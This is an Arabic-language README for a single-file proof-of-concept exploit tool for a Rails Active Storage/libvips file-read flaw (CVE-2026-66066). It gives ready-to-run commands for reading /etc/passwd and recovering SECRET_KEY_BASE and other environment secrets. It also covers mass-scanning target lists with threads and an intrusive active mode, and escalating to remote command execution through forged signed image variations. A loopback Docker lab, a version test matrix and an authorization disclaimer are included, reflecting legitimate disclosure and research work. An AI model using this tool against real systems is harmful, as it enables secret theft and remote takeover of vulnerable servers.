
إثبات مفهوم (PoC) في ملف واحد لثغرة Rails CVE-2026-66066: قراءة ملفات اعتباطية، استعادة الأسرار، فحص متعدّد الخيوط، وتنفيذ تعليمات برمجية عن بُعد (RCE) مشروط عبر تنويعات الصور الموقّعة.
إثبات مفهوم (PoC) بملف واحد وبدون أي تبعيّات، ومختبر Docker مقيّد بالحلقة المحلية (loopback) لثغرة قراءة الملفات التعسفية في Rails Active Storage/libvips. كما يوضّح التصعيد المشروط الوارد في النشرة الأمنية، بدءًا من استرجاع secret_key_base وصولًا إلى تزوير variation لصورة وتنفيذ أوامر.
المراجع الأساسية: نشرة Rails الأمنية، التحليل الجنائي من Rails، الشرح التقني من Ethiack، وإصدار 8.1.3.1.
https://github.com/user-attachments/assets/fdcb5651-c1d1-4bc4-b322-8f1205b09635
يحتوي kr2s.py على العميل الكامل في ملف واحد:
h5py أو numpy؛لا تقوم الأداة بتثبيت حزم، ولا تشغّل مستمع ردود (callback listener)، ولا تتطلب وجود curl على الهدف، ولا تعتمد على make. تستخدم مرحلة RCE مسار التمثيل (representation) المدمج في Active Storage ولا تتطلب غادجت Marshal.
شغّل المختبر القابل للاستغلال:
cd lab
RAILS_VERSION=8.1.3 docker compose up --build
منفذ Compose مربوط بـ 127.0.0.1، والحاوية تعمل كمستخدم غير مميَّز مع إسقاط جميع صلاحيات Linux.
في طرفية أخرى:
# Intrusive: uploads a blob, then confirms /etc/hostname is readable.
python3 kr2s.py check http://127.0.0.1:3000
# Recover a fixed-size prefix. Binary output goes to stdout unless -o is used.
python3 kr2s.py read http://127.0.0.1:3000 /etc/passwd --size 4096
python3 kr2s.py read http://127.0.0.1:3000 /etc/passwd -o passwd.bin
# Recover selected environment secrets. Values are redacted by default.
python3 kr2s.py secrets http://127.0.0.1:3000
# Display complete matched environment values for authorized analysis.
python3 kr2s.py secrets http://127.0.0.1:3000 --show-full
# Passive preflight of one target or a file containing one target per line.
python3 kr2s.py scan http://127.0.0.1:3000
python3 kr2s.py scan targets.txt --threads 10 --json scan.json
# Intrusively confirm file read on every target in the list.
python3 kr2s.py scan targets.txt --active
# Probe selected libvips loaders.
python3 kr2s.py probe http://127.0.0.1:3000
# Conditional escalation. This executes the supplied command.
python3 kr2s.py rce http://127.0.0.1:3000 "id; uname -a"
شغّل python3 kr2s.py COMMAND --help للاطلاع على جميع الخيارات البديلة. تتضمن عناصر التحكم الشائعة في التطبيقات الحقيقية --harvest-url و--show-path و--proxy و--insecure و--skb.
يطبع secrets --show-full القيم الكاملة لمتغيرات البيئة المطابقة. وبدون هذا الخيار، تطبع الأداة أول 12 حرفًا فقط متبوعة بعلامة حذف (…). الملفات المطلوبة عبر --also-read، بما في ذلك مسارات بيانات اعتماد Rails الافتراضية، تُطبع حتى 600 حرف إذا كانت قابلة للقراءة.
لا يكتفي scan السلبي سوى بالإبلاغ عما إذا كانت الصفحة تعرض تمثيل Active Storage قابلًا للاستغلال؛ ولا يمكنه تحديد مستوى التحديثات المثبّت في Rails. يرفع scan --active حمولة خبيثة ويحاول قراءة canary. النتيجة الفاشلة للفحص النشط تُوسَم بـ BLOCKED_OR_INCONCLUSIVE وليس SAFE، لأن جدران الحماية (WAFs) والمصادقة وvariations غير المدعومة وإصلاح Rails قد تبدو متطابقة من خارج التطبيق.
أوقف المختبر باستخدام:
cd lab
docker compose down
image/png.matload؛ فتصبح بايتات الملف الهدف بكسلات صورة وتعود داخل صورة PNG مولّدة.يلبي الملف الهجين محلّلين في الوقت نفسه: يبدأ نصه بـ MATLAB 5.0، بينما تختار كلمة الإصدار عند الإزاحة 124 مسار MATLAB 7.3 المدعوم بـ HDF5. يحظر إصلاح Rails عمليات libvips الموسومة بأنها غير موثوقة قبل أن يصل ملف يتحكم فيه المهاجم إلى matload.
يقرأ rce أولًا SECRET_KEY_BASE من /proc/self/environ، ما لم يتم توفير --skb. يستنتج مفتاح التحقق الخاص بـ Active Storage ويوقّع variation بصيغة JSON تحتوي على عملية instance_eval. وفي مسار vips المتأثر، تصل العملية إلى Vips::Image.public_send. يرسلها إثبات المفهوم عبر مسار التمثيل المدمج، وينفّذ الأمر المُزوَّد عبر /bin/sh، ويلتقط تدفقي الإخراج معًا.
تعتمد هذه المرحلة الثانية على استرجاع سر التوقيع والوصول إلى سلوك تحويل vips القابل للاستغلال الموضح في تحليل Ethiack لـ CVE-2025-24293. يغلق تصحيح CVE-2026-66066 نقطة دخول قراءة الملفات؛ وهو ليس إصلاحًا عامًا لأسرار التوقيع التي تسربت سابقًا. دوّر الأسرار بعد أي تعرّض محتمل، كما توصي نشرة Rails الأمنية.
تُكتب مخرجات الأمر إلى ملف عشوائي /tmp/.kr2s_*، وتُستعاد عبر آلية قراءة الملفات نفسها، ثم تُحذف بحمولة موقّعة ثانية.
تعيد القراءات المنطقة المطلوبة بحجم ثابت. إذا كان المصدر أقصر، يليه بايتات صفرية. استخدم --offset للمناطق اللاحقة.
يحوّل variation الافتراضي في المختبر إلى PNG فقط، لذا يكون الاسترجاع مطابقًا للبايت. قد تعيد التطبيقات الحقيقية تحجيم variations. يستخدم وضع المفتاح المجموع عمودًا بعرض بكسل واحد لتجنب إعادة أخذ العينات أفقيًا، لكن variation بارتفاع أقل يمكن أن يغيّر الهندسة. في هذه الحالة يفشل العميل صراحةً؛ قلّل --size أو اجمع تمثيلًا لا يعيد التحجيم.
كل أمر تدخّلي: ينشئ blobs دائمة في Active Storage وقد ينشئ variants معالجة. بالإضافة إلى ذلك، ينفّذ rce الأمر المُزوَّد.
يبني سكربت المصفوفة كل إصدار، ويشغّل فحوصات قراءة وفحوصات RCE حقيقية على الإصدارات القابلة للاستغلال، ويتأكد من حظر القراءات على الإصدارات المُصلَحة، ويعيد قيمة غير صفرية عند أي عدم تطابق:
./lab/matrix.sh
./lab/matrix.sh 8.1.3
./lab/matrix.sh 8.1.3.1:PATCHED
تم التحقق في 2026-07-31 باستخدام Ruby 3.4.10 وimage_processing 1.14.0 وruby-vips 2.3.0 وlibvips 8.16.1:
الصفوف المُصلَحة لا تشغّل عمدًا حمولة RCE مع سر توقيع مُوفَّر مسبقًا؛ إذ تختبر المصفوفة حدود قراءة الملفات المرتبطة بـ CVE.
يعيد research/craft.py توليد حمولات مرشّحة لأبحاث اللوادر ويتطلب h5py وnumpy. ولا يتم استيراده بواسطة إثبات المفهوم المُصدَر. يفحص lab/probe/probe.sh هذه المرشّحات باستخدام ruby-vips داخل إحدى صور المختبر:
uv run --script research/craft.py all -o /tmp/kr2s-payloads
docker run --rm \
-v "$PWD/lab/probe:/probe:ro" \
-v /tmp/kr2s-payloads:/payloads:ro \
--entrypoint /probe/probe.sh kr2s-rails:8.1.3
شغّل اختبارات الوحدة الخالية من التبعيّات باستخدام:
python3 -m unittest discover -s tests -v
طُوّرت حمولة MAT/HDF5 والعميل الخالي من التبعيّات من خلال اختبارات محلية. وبعد ظهور إثباتات مفهوم علنية، دمج هذا الإصدار جمع مفاتيح variation ومسارات Active Storage المدمجة الموثقة في إثبات مفهوم Zer0SumGam3. تطبيق Python هنا أصلي ويعتمد على المكتبة القياسية فقط.
أظهرت مراجعة سابقة أن RCE ممكنة أيضًا عبر حمولة Marshal موقّعة باستخدام Puma::MiniSSL::Context ووسيط ActiveSupport، استنادًا إلى أبحاث Behrad Taher العلنية حول الغادجتس. تجنّب هذا المسار الملفات المساعدة على جانب الهدف، لكنه تطلّب مستقبل معرّفات موقّعة يدعم Marshal بالإضافة إلى أصناف غادجت Puma وActiveSupport المحمّلة. استُبدل هذا المسار بعد أن نشر فريق أبحاث Ethiack شرح KindaRails2Shell التقني، الذي يوثّق تقنية variation الموقّع الأبسط بصيغة JSON. تستخدم هذه التقنية مسارًا قياسيًا وتزيل تلك الشروط المسبقة.
يعود الفضل في الاكتشاف إلى André Baptista (0xacb) وBruno Mendes (s3np41k1r1t0) وRafael Castilho وفريق أبحاث Ethiack وRyotaK (GMO Flatt Security). كما نشر Abdelmounaim Moulahcene (bl0rph) بشكل مستقل الآلية الأساسية قبل الكشف المنسق بفترة وجيزة. راجع مستودع التحليل الجنائي الخاص بـ Rails للاطلاع على الجدول الزمني الكامل والائتمانات من المشرفين.
استخدم فقط على الأنظمة التي تملكها أو المصرَّح لك صراحةً باختبارها. لا يتحمل المؤلفون أي مسؤولية عن إساءة الاستخدام. راجع SECURITY.md للإبلاغ عن المشكلات في هذه الأداة البحثية.
نُشرت بموجب رخصة MIT.
| Rails | قراءة الملف | فحص RCE | النتيجة |
|---|
| 7.2.3.1 | READ-OK | RCE-OK | نجاح |
| 7.2.3.2 | محظورة | لم يُشغَّل | نجاح |
| 8.0.5 | READ-OK | RCE-OK | نجاح |
| 8.0.5.1 | محظورة | لم يُشغَّل | نجاح |
| 8.1.3 | READ-OK | RCE-OK | نجاح |
| 8.1.3.1 | محظورة | لم يُشغَّل | نجاح |